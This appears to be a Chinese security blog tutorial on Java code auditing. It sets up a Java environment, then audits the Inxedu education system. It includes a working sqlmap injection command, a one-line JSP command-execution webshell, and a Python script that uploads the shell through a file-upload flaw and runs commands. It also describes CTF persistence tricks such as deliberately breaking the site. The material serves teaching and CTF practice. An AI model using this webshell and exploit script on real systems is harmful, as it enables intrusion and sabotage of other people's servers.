Java代码审计之入门篇(一)|【安全客】

0x1 前言

java代码审计系列是我很早之前就一直在筹备的,但是由于接触JAVA比较少,所以一直在积累各种相关经验,自己也用java写了一些web项目, 熟悉了一些框架的流程,才正式开始记录自己学习java代码审计的过程。

 

0x2 java环境相关的知识

1.JDK(Java Development Kit) 是针对java开发员的产品(SDK),是整个java的核心。

组成:

  • 开发工具位于bin子目录中, 指工具和实用程序,可帮助开发、执行、调试以java编程语言编写的程序,例如,编译器javac.exe 和解释器java.exe都位于该目录中
  • java运行环境位于jre子目录中,window安装的时候会提示安装jre其实没必要,因为jdk包括了。 java运行环境包括java虚拟机、类库以及其他支持执行以java编程语言编写的程序的文件。
  • 附加库位于lib子目录中, 开发工具所需的其他类库和支持文件
  • C头文件
  • 源代码

2.JRE(Java Runtime Environment) 是运行java程序所必须的环境集合,包含JVM标准、及java核心类库。
如果我们只是要运行java程序的话其实没必要安装jdk,只需要安装JRE就可以了。

3.JVM(Java Virtual Machine) java虚拟机是整个实现跨平台的最核心部分,能够运行以java语言编写的软件程序。

他们三者的关系,可以参考这个图

4.java平台

    • Java SE(java Platform, Standard Edition) 这是标准版,基础版本。允许开发和部署在桌面、服务器、嵌入式环境和实时环境中使用的 Java 应用程序。Java SE 包含了支持 Java Web 服务开发的类。 通常拿来开发java的桌面软件
    • Java EE (Java Platform,Enterprise Edition): Java EE 是在Java SE的基础上构建的,他提供Web服务、组件模型、管理、通信API,用来实现企业级的面向服务体系结构和web2.0应用程序。
    • Java ME(Java Platform, Micro Edition): 为在移动设备和嵌入式设备(比如手机、PDA、 电视机顶盒和打印机) 上运行的运用程序提供一个健壮且灵活的环境

    5.java服务器

    (1) 常见的Java服务器: Tomcat 、 Weblogic、Jetty、JBoss、GlassFish等。

    (2)Tomcat简介:

    免费的开放源代码的web应用服务器,属于轻量级应用服务器,在中小型系统和并发访问等很多的场合下被普遍使用,是开发和调试JSP程序的首选。

    6.项目管理和构建工具Maven

    Maven是一种自动构建项目的方式,可以帮助我们自动从本地和远程仓库拉取关联的jar包

     

    0x3 MAC下安装java环境

    0x3.1 安装MYSQL及其驱动包

    这个mac自带安装了MYSQL,所以我们只要安装对应的mysql的java驱动程序,放在tomcat的lib目录下就可以。

    或者放在WEB-INF下的lib目录下也可以,具体看我后面的操作

    因为我的mysql是5.7.21 Homebrew 所以我们需要用到5.x的jdbc

    Connector/J 5.1.48

    登陆注册之后

    访问下载

    0x3.2 安装Tomcat

    首先去官网下载最新版Tomcat9,offical download

    改名放在~/Library/Apachetomcat9

     xq17@localhost  ~/Library/ApacheTomcat9  tree -L 1
    .
    ├── BUILDING.txt
    ├── CONTRIBUTING.md
    ├── LICENSE
    ├── NOTICE
    ├── README.md
    ├── RELEASE-NOTES
    ├── RUNNING.txt //上面是使用文档和版权声明
    ├── bin //存放tomcat命令
    ├── conf // 存放tomcat配置信息,里面的server.xml是核心的配置文件
    ├── lib //支持tomcat软件运行的jar包和技术支持包(如servlet 和 jsp)
    ├── logs //运行时的日志信息
    ├── temp //临时目录
    ├── webapps //共享资源文件和web应用目录
    └── work //tomcat的运行目录,jsp运行时产生的临时文件就存放在这里
    

    我们修改下默认的启动端口,8080 改成9090,避免与我本地burp冲突

    /conf/server.xml

    处于安全性考虑,我们也需要配置下密码 tomcat tomcat

    conf/tomcat-user.xml</tomcat-users>上面加入如下代码

    <role rolename="manager-gui"/>
    <user username="tomcat" password="tomcat" roles="manager-gui"/>
    ---
    

    /conf/bin目录进行安装

    chmod u+x *.sh
    ./startup.sh
    

    0x3.3 安装IDE

    为了方便调试,我安装了两个IDE,一个是eclipse(集成环境方便开发) 一个是idea(方便动态调试)

    首先要配置最基础的java开发和运行环境就需要 安装jdk的8.0(一般习惯叫jdk 1.8) 通常也可以说是java8,

    hombrew 安装教程 可以参考这篇文章,比较简单,我就不赘述了。

    Mac OS 安装java指定版本

    0x3.3.1 安装eclipse

    这个可以直接去官网下载:

    download.eclipse.org

    然后选择development for jee那个package来安装就行了。

    0x3.3.2 安装IDEA

    参考这篇安装文章: Mac 安装idea以及激活方法


    下面就需要配置下IDE的运行程序了。

    eclipse 的话直接修改Tomcat Server 为我们安装的Tomcat就可以了。

    Idea因为不是集成环境,所以我们需要用到第三方插件

    按需要安装

     

    0x4 小试牛刀之尝试部署项目

    这里参考了国科社区师傅用的 javapms-1.4-beta.zip

    (1) 直接安装

    (2) IDEA 部署

    我们选择import Project

    然后一路默认下去就行了,打开项目之后,我们配置下运行程序Tomcat

    尝试下idea强大的反编译class及其调试功能

    先运行安装下

    随便选一个action打一个断点就行了。

     

    下面是几个调试中会用到的几个快捷键:
    ●F7 ,进入下一步,如果当前断点是一个方法,进入方法体。
    ●F8 ,进入下一步,但不会进入方法体内。
    ●Alt+Shift+F7 , 进入下一步,如果当前断点是一个方法,方法还有方法则循环进入。
    ●Shift+F8 ,跳出到下一个断点,也可以按F9来实现。
    ●Drop Frame ,当进入一个方法体想回退到方法体外可以使用该键。
    我很少用快捷键,一般用鼠标就行了,或者mac上的bar就行了。不过F9我用的比较多。

     

    0x5 崭露头角之因酷教育在线漏洞挖掘

    这个系统我印象是比较深刻, 因为之前在那个湖湘杯的登顶赛中一方面没下载下来源码, 另外一方面自己对java的项目不熟悉所以当时做了标记,所以这次就以这个为例,顺便聊一下登顶赛维持权限的技巧。

    0x5.1 安装过程

    inxedu 因酷教育软件v2.0.6

    源码:http://down.admin5.com/jsp/132874.html

    有个安装目录详细记录了使用教程和idea的教程。

    这里简单记录下:

    1.执行mysql> source ./demo_inxedu_v2_0_open.sql

    2.idea导入项目直接import projects,默认下去即可,等待自动解决maven依赖,可能有点慢。

    3.数据库配置

    修改下数据库配置

    图片.png

    4.配置Tomcat

    Run-->Edit Configurations->Maven

    图片.png

    点击Run,等待安装完成即可。

    前台http://127.0.0.1:82/ 
    测试账号:demo@inxedu.com 111111
    后台 http://127.0.0.1:82/admin 
    测试账号:admin 111111
    

    0x5.2 前置知识

    这些内容我简要提取一些关键点出来。

    1.目录结构分析

    ├── java //核心代码区
    │   └── com
    ├── resources //资源目录,存放一些配置文件
    │   └── mybatis //SQL 文件描述XML
    └── webapp //就是类似/var/www/html存放一些静态文件内容
        ├── WEB-INF 
        ├── images
        ├── kindeditor
        └── static
    

    这里重点讲下WEB-INF目录

    WEB-INF是用来存储服务端配置文件信息和在服务端运行的类文件的,它下面的东西不允许客户端直接访问的。
    一般会有web.xml文件(WEB项目配置文件)
    通过文件读取该文件我们可以获取到这个项目的架构和配置信息(编码、过滤器、监听器…)

    2.了解SpringMVC架构工作流程

    1.用户发起请求->SPring MVC 前端控制器(DispathcerServlet)->处理器映射器(HandlerMapping)进行处理->根据URL选择对应的Controller
    2.控制器(Controller)执行相应处理逻辑,执行完毕,Return 返回值。
    3.ViewResolver解析控制器返回值->前端控制器(DispathcerSevlet)去解析->View对象
    4.前端控制器(DispathcerSevlet)对View进行渲染,返回至客户端浏览器,完成请求交互

    3.Mybaits

    Mybatis 数据持久化框架,可以实现将应用程序的对象持久化到关系型数据库中,但是需要我们手动编写SQL语句

    使用方式: 基于XML配置,将SQL语句与JAVA代码分离

    容易出现的安全问题主要是在于:

    在XML配置中,描述参数使用不当会导致SQL注入

    1.#{} 预编译处理参数
    2.${}    直接拼接sql语句
    

    后面分析SQL注入的时候我会详细分析下这个框架的实现过程。

    0x5.3 开始代码审计之旅

    时间充裕,我们采取通读的审计方式, 对于框架而言,我一般是先阅读权限控制模块,然后直接通读Controller模块,然后跟踪看看, 后面你会发现很多类似的代码,从而提高通读的速度的。

    0x5.3.1 权限控制流程

    通过阅读web.xml

        <servlet-mapping>
            <servlet-name>springmvc</servlet-name>
            <url-pattern>/</url-pattern>
    
        </servlet-mapping>
    

    可以看到这里Spring MVC前置拦截器采用的是/规则,也就是拦截所以不带后缀的请求,而/*是拦截所有请求。

    我们继续跟进看下有没有自定义的控制拦截,我们读下Spring mvc配置文件

    /src/main/resources/spring-mvc.xml

         <mvc:interceptors>
             <!-- 后台登录和权限的拦截器配置 -->
             <mvc:interceptor>
                 <mvc:mapping path="/admin/*"/>
                 <mvc:mapping path="/admin/**/*"/>
                 <mvc:exclude-mapping path="/admin/main/login"/>
                 <bean class="com.inxedu.os.common.intercepter.IntercepterAdmin"></bean>
             </mvc:interceptor>
             <!-- 前台网站配置拦截器配置 -->
             <mvc:interceptor>
                 <mvc:mapping path="/**/*"/>
                 <mvc:exclude-mapping path="/static/**/*"/>
                 <mvc:exclude-mapping path="/*/ajax/**"/>
                 <mvc:exclude-mapping path="/kindeditor/**/*"/>
                 <bean class="com.inxedu.os.common.intercepter.LimitIntercepterForWebsite">
                 </bean>
             </mvc:interceptor>
             <!-- 前台用户登录拦截器配置 -->
             <mvc:interceptor>
                 <mvc:mapping path="/uc/*"/>
                 <mvc:mapping path="/uc/**/*"/>
                 <mvc:exclude-mapping path="/uc/tologin"/>
                 <mvc:exclude-mapping path="/uc/getloginUser"/>
                 <mvc:exclude-mapping path="/uc/register"/>
                 <mvc:exclude-mapping path="/uc/createuser"/>
                 <mvc:exclude-mapping path="/uc/login"/>
                 <mvc:exclude-mapping path="/uc/passwordRecovery"/>
                 <mvc:exclude-mapping path="/uc/sendEmail"/>
                 <bean class="com.inxedu.os.common.intercepter.IntercepterWebLogin">
                 </bean>
             </mvc:interceptor>
    

    好家伙,我们跟进相关的类,看下拦截的流程。

    com.inxedu.os.common.intercepter.IntercepterAdmin

        public boolean preHandle(HttpServletRequest request,
                HttpServletResponse response, Object handler) throws Exception {
            //获取登录的用户
            SysUser sysUser = SingletonLoginUtils.getLoginSysUser(request);
            if(sysUser==null){
                response.sendRedirect("/admin");//跳转登录页面
                return false;
            }
            //访问的路径
            String invokeUrl = request.getContextPath() + request.getServletPath();
            //获取所有的权限
            List<SysFunction> allFunctionList = (List<SysFunction>) EHCacheUtil.get(CacheConstans.SYS_ALL_USER_FUNCTION_PREFIX+sysUser.getUserId());
            if(ObjectUtils.isNull(allFunctionList)){
                allFunctionList = sysFunctionService.queryAllSysFunction();
                EHCacheUtil.set(CacheConstans.SYS_ALL_USER_FUNCTION_PREFIX+sysUser.getUserId(),allFunctionList);
            }
            //判断当前访问的权限,是否在限制中
            boolean hasFunction = false;
            for(SysFunction sf : allFunctionList){
                if(sf.getFunctionUrl()!=null && sf.getFunctionUrl().trim().length()>0 && invokeUrl.indexOf(sf.getFunctionUrl())!=-1){
                    hasFunction = true;
                }
            }
            //如果当前访问的权限不在限制中,直接允许通过
            if(!hasFunction){
                return true;
            }
            //如果当前访问的权限在限制中则判断是否有访问权限
            List<SysFunction> userFunctionList = (List<SysFunction>) EHCacheUtil.get(CacheConstans.USER_FUNCTION_PREFIX+sysUser.getUserId());
            if(userFunctionList==null || userFunctionList.size()==0){
                userFunctionList = sysFunctionService.querySysUserFunction(sysUser.getUserId());
                EHCacheUtil.set(CacheConstans.USER_FUNCTION_PREFIX+sysUser.getUserId(), userFunctionList);
            }
            boolean flag = false;
            if(ObjectUtils.isNotNull(userFunctionList)){
                for(SysFunction usf : userFunctionList){
                    //如果用户有访问权限
                    if(invokeUrl.indexOf(usf.getFunctionUrl())!=-1 && usf.getFunctionUrl()!=null && usf.getFunctionUrl().trim().length()>0){
                        flag=true;
                        break;
                    }
                }
            }
    

    继续跟进下:SingletonLoginUtils.getLoginSysUser

        public static SysUser getLoginSysUser(HttpServletRequest request) {
            String userKey = WebUtils.getCookie(request, CacheConstans.LOGIN_MEMCACHE_PREFIX);
            if (StringUtils.isNotEmpty(userKey)) {
                SysUser sysUser = (SysUser) EHCacheUtil.get(userKey);
                if (ObjectUtils.isNotNull(sysUser)) {
                    return sysUser;
                }
            }
            return null;
        }
    

    这里获取了Cookie的值解析出了userKey,至于这个可不可以伪造,我们跟下来源

    /src/main/java/com/inxedu/os/edu/controller/main/LoginController.java

        @RequestMapping("/main/login")
        public ModelAndView login(HttpServletRequest request,HttpServletResponse response,@ModelAttribute("sysUser") SysUser sysUser){
    ...............
        request.getSession().removeAttribute(CommonConstants.RAND_CODE);
                sysUser.setLoginPwd(MD5.getMD5(sysUser.getLoginPwd()));
                SysUser su = sysUserService.queryLoginUser(sysUser);
                if(su==null){
                    model.addObject("message", "用户名或密码错误!");
                    return model;
                }
                //判断用户是否是可用状态
                if(su.getStatus()!=0){
                    model.addObject("message", "该用户已经冻结!");
                    return model;
                }
                //缓存用登录信息
                EHCacheUtil.set(CacheConstans.LOGIN_MEMCACHE_PREFIX+su.getUserId(), su);
                //request.getSession().setAttribute(CacheConstans.LOGIN_MEMCACHE_PREFIX+su.getUserId(),su );
                WebUtils.setCookie(response, CacheConstans.LOGIN_MEMCACHE_PREFIX, CacheConstans.LOGIN_MEMCACHE_PREFIX+su.getUserId(), 1);
    
                //修改用户登录记录
                sysUserService.updateUserLoginLog(su.getUserId(), new Date(), WebUtils.getIpAddr(request));
    
                //添加登录记录
                SysUserLoginLog loginLog = new SysUserLoginLog();
                loginLog.setUserId(su.getUserId());//用户ID
                loginLog.setLoginTime(new Date());//
                loginLog.setIp(WebUtils.getIpAddr(request));//登录IP
                String userAgent = WebUtils.getUserAgent(request);
                if(StringUtils.isNotEmpty(userAgent)){
                    loginLog.setUserAgent(userAgent.split(";")[0]);//浏览器
                    loginLog.setOsName(userAgent.split(";")[1]);//操作系统
                }
                //保存登录日志
                sysUserLoginLogService.createLoginLog(loginLog);
                model.setViewName(loginSuccess);
            }catch (Exception e) {
                model.addObject("message", "系统繁忙,请稍后再操作!");
                logger.error("login()--error",e);
            }
            return model;
        }
    }
    

    这里可以看到登陆信息是经过数据库对比判断后缓存在服务端,并且在服务端验证的,除非加密算法可逆,要不然就没办法越权,这个后面可以细跟,鉴于文章篇幅,这里不做探讨。

    0x5.3.2 前台功能审计

    上面我们排除了简单的越权可能性, 所以我们可以集中精力围绕在前台功能点。

    前台SQL注入挖掘思路

    这套系统采用的是Mybatis框架

    Java Mybatis框架入门教程

    src/main/java/com/inxedu/os/app/controller/user/AppUserController.java

    @Controller
    @RequestMapping("/webapp")
    public class AppUserController extends BaseController{
    ..........
    @RequestMapping("/deleteFaveorite")
        @ResponseBody
        public Map<String, Object> deleteFavorite(HttpServletRequest request){
            Map<String, Object> json=new HashMap<String, Object>();
            try{
                String id=request.getParameter("id");
                if(id==null||id.trim().equals("")){
                    json=setJson(false, "id不能为空", null);
                    return json;
                }
                courseFavoritesService.deleteCourseFavoritesById(id);
                json=setJson(true, "取消收藏成功", null);
            }catch (Exception e) {
                json=setJson(false, "异常", null);
                logger.error("deleteFavorite()---error",e);
            }
            return json;
        }
      ....................
    }
    

    这个主类入口是webapp,所以我们访问/webapp/deleteFaveorite,就能访问到该控制器,/webapp 并没有拦截器处理,所以我们可以直接不带cookie访问。

    可以看到直接获取了id值,然后进入了courseFavoritesService.deleteCourseFavoritesById(id)

    我们继续跟进:deleteCourseFavoritesById

    src/main/java/com/inxedu/os/edu/dao/impl/course/CourseFavoritesDaoImpl.java

    package com.inxedu.os.edu.dao.impl.course;
    
    import java.util.List;
    import java.util.Map;
    
    import org.springframework.stereotype.Repository;
    
    import com.inxedu.os.common.dao.GenericDaoImpl;
    import com.inxedu.os.common.entity.PageEntity;
    import com.inxedu.os.edu.dao.course.CourseFavoritesDao;
    import com.inxedu.os.edu.entity.course.CourseFavorites;
    import com.inxedu.os.edu.entity.course.FavouriteCourseDTO;
    
    /**
     *
     * CourseFavorites
     * @author www.inxedu.com
     */
     @Repository("courseFavoritesDao")
    public class CourseFavoritesDaoImpl extends GenericDaoImpl implements CourseFavoritesDao {
    
    
    
        public void deleteCourseFavoritesById(String ids) {
            this.delete("CourseFavoritesMapper.deleteCourseFavoritesById", ids);
        // 这里就会寻找CourseFavoritesMapper.deleteCourseFavoritesById
        // 对应的XML文件
        // course/CourseFavoritesMapper.xml 中对应的
        // deleteCourseFavoritesById 自定义语句
        }
    
    
        public int checkFavorites(Map<String, Object> map) {
            return this.selectOne("CourseFavoritesMapper.checkFavorites", map);
        }
    
    
        public List<FavouriteCourseDTO> queryFavoritesPage(int userId, PageEntity page) {
            return this.queryForListPage("CourseFavoritesMapper.queryFavoritesPage", userId, page);
        }
    
    
    }
    

    src/main/resources/mybatis/inxedu/course/CourseFavoritesMapper.xml

        <!-- 删除收藏 -->
        <delete id="deleteCourseFavoritesById" parameterType="String">
        DELETE FROM EDU_COURSE_FAVORITES WHERE ID  IN  (${value})
        </delete>
    

    我们可以看到这里拼接值是String类型,${value}采取的是直接拼接SQL语句的方法,至于为什么不采取#{}拼接方式, 因为这里想拼接的是数字类型,而#{}拼接方式默认都会两边带上'',其实解决方案就是自己可以再加一层数字判断即可。

    我们可以直接采取SQLMAP来验证,然后check一下控制台执行的SQL就可以二次确认了。

    sqlmap -u "http://127.0.0.1:82//webapp/deleteFaveorite?id=1*"

    图片.png

    图片.png

    关于这个点触发点比较多,有兴趣读者可以自行跟一下。

    读者如果对此还是不甚了解,Mybatis从认识到了解 ,可以先阅读下此文。

    任意文件上传挖掘思路

    /src/main/java/com/inxedu/os/common/controller/VideoUploadController.java

    @Controller
    @RequestMapping("/video")
    public class VideoUploadController extends BaseController{
    ................
    
        /**
         * 视频上传
         */
        @RequestMapping(value="/uploadvideo",method={RequestMethod.POST})
        public String gok4(HttpServletRequest request,HttpServletResponse response,@RequestParam(value="uploadfile" ,required=true) MultipartFile uploadfile,
                @RequestParam(value="param",required=false) String param,
                @RequestParam(value="fileType",required=true) String fileType){
            try{
    
                String[] type = fileType.split(",");
                //设置图片类型
                setFileTypeList(type);
                //获取上传文件类型的扩展名,先得到.的位置,再截取从.的下一个位置到文件的最后,最后得到扩展名
                String ext = FileUploadUtils.getSuffix(uploadfile.getOriginalFilename());
                if(!fileType.contains(ext)){
                    return responseErrorData(response,1,"文件格式错误,上传失败。");
                }
                //获取文件路径
                String filePath = getPath(request,ext,param);
                File file = new File(getProjectRootDirPath(request)+filePath);
    
                //如果目录不存在,则创建
                if(!file.getParentFile().exists()){
                    file.getParentFile().mkdirs();
                }
                //保存文件
                uploadfile.transferTo(file);
                //返回数据
    
                return responseData(filePath,0,"上传成功",response);
            }catch (Exception e) {
                logger.error("gok4()--error",e);
                return responseErrorData(response,2,"系统繁忙,上传失败");
            }
        }
    ..........................
    
    }
    

    图片.png

    我们跟进下getPath函数

        private String getPath(HttpServletRequest request,String ext,String param){
            String filePath = "/images/upload/";
            if(param!=null && param.trim().length()>0){
                filePath+=param; //这里直接拼接param,所以我们这里可以任意跳转目录
            }else{
                filePath+=CommonConstants.projectName;
            }
            filePath+="/"+ DateUtils.toString(new Date(), "yyyyMMdd")+"/"+System.currentTimeMillis()+"."+ext;
            return filePath;
        }
    

    图片.png

    接着访问下:

    http://127.0.0.1:82/images/upload/20200127/1580125876609.jsp?i=ls

    图片.png

    我们已经拿到没有回显的shell了。

     

    0x6 登顶赛维持权限小技巧

    上次打湖湘杯下午场第一次接触登顶赛这种类型, 当时脑子都是在想什么高端操作,什么修改权限,秒修漏洞啥的,赛后出来我才明白,最简单最傻b的方法往往最有效。

    1. 通过漏洞拿到webshell
    2. 直接修改网站配置文件,修改数据库配置让网站挂掉,让功能没办法访问,自己记得修改了什么地方。
    3. 写脚本不断发包去生成webshell,然后去请求,执行修改文件内容为你的队名的操作。

    (这里要跑两个线程一个是请求生成shell,一个是稳定shell)

    1. 接近判断时间的时候,让网站正常回来即可。

    下面是我自己写的简陋版本,后面我会将其框架化,并加入session管理。

    这里要注意shell这样来拼接,要不然echo命令用不了:

    <%Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",request.getParameter("cmd")});%>

    #!/usr/bin/python
    # -*- coding:utf-8 -*-
    
    import requests
    import urllib.parse
    import re
    import threading
    
    debug = True
    
    def g1(host):
        url = 'http://' + host + '/' +'video/uploadvideo?&param=temp&fileType=jsp'
        # 这里需要修改下shell名字,上传name等配置
        files = {'uploadfile': ('shell.jsp', open('shell.jsp', 'rb'))}
        if debug:
            print("url:n" + url)
            print(files)
        rText = requests.post(url, files=files, timeout=5).text
        # 这里是shell路径匹配正则
        shellRegex = re.compile('"url":"(.*?)"')
        if(shellRegex.search(rText)):
            shellPath = shellRegex.search(rText)[1]
            if debug:
                print("shellPath:n" + shellPath)
            # 开始拼接shell
            shellURL = 'http://' + host + shellPath
            if debug:
                print("shellURL:n" + shellURL )
            print("[+]Success,get Shell: {}".format(shellURL))
            return shellURL
        else:
            print("[-] Error, no shell!!!")
            return False
    
    def getShell(host):
        print("[+]Staring getShell.....".center(100,'*'))
        shellList = []
        # request 发包
        s1 = g1(host)
        # socket 自定义协议包发送
        # s2 = g2(url)
        if(s1):
            shellList.append(s1)
        return shellList
    
    def requestShell(shellURL, cmd, password):
        print("[+]Staring requestShell.....".center(100,'='))
        # 检查shell存活性
        if debug:
            print(shellURL)
        for u in shellURL:
            code = requests.get(u).status_code
            if(code != 404):
                # 开始创建请求线程
                print("[+] now, subThread requesting......")
                t = threading.Thread(target=work, args=(u, cmd, password,))
                t.start()
                t.join()
                return True
            else:
                print("[-]Error,404,shell:{}".format(u))
                return False
    
    
    def work(u, cmd, password):
        print("work Function................")
        param = urllib.parse.quote('?' + password + '=' + cmd,safe='/?&=', encoding=None, errors=None)
        url = u + param
        if debug:
            print(url)
        r = requests.get(url, timeout=5)
        if(r.status_code == 200):
            print("[+]Success, Execute CMD!!!")
            return True
        else:
            print("[-]Error, Execute CMD Failed!!")
    
    def attack(url):
        shellURL = getShell(url)
        # 执行的命令
        cmd = '''echo "123">/tmp/shell.txt ''';
        # 连接shell的参数
        password = 'cmd'
        if(shellURL):
            for i in range(2):
                print("n Staring Fuzz:{} n".format(str(i)).center(100,'+'))
                result = requestShell(shellURL, cmd, password)
            if(result):
                print("[+] Success,cmd:{}".format(cmd))
            else:
                print("[-] Error!")
        else:
            print("[-] Error, getshell failed!")
    
    def main():
        Target = ['127.0.0.1:82']
        # 这里可以进行多线程优化,针对批量目标的时候
        for host in Target:
            attack(host)
    
    if __name__ == '__main__':
        main()
    

    shell.jsp

    <%Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",request.getParameter("cmd")});%>
    

    图片.png

     

    0x7 总结

    这套系统还有很多值得深入挖掘的点,值得我再去细细分析, 后面的系列我依然会围绕这个系统来展开,探究更多java漏洞的可能性,本文更多的是一种萌新开门篇,重点在配置环境,然后粗浅介绍下系统的漏洞,让读者有直观的现象, 后面我将会从各种底层框架的使用来分析安全成因,并尝试去挖掘一些新的漏洞。

     

    0x8 参考链接

     

    java代码审计文章集合

    JDK、JRE、JVM三者间的关系

    Mac系统安装和配置tomcat步骤详解

    JAVA代码审计 | 因酷网校在线教育系统

    SSM框架审计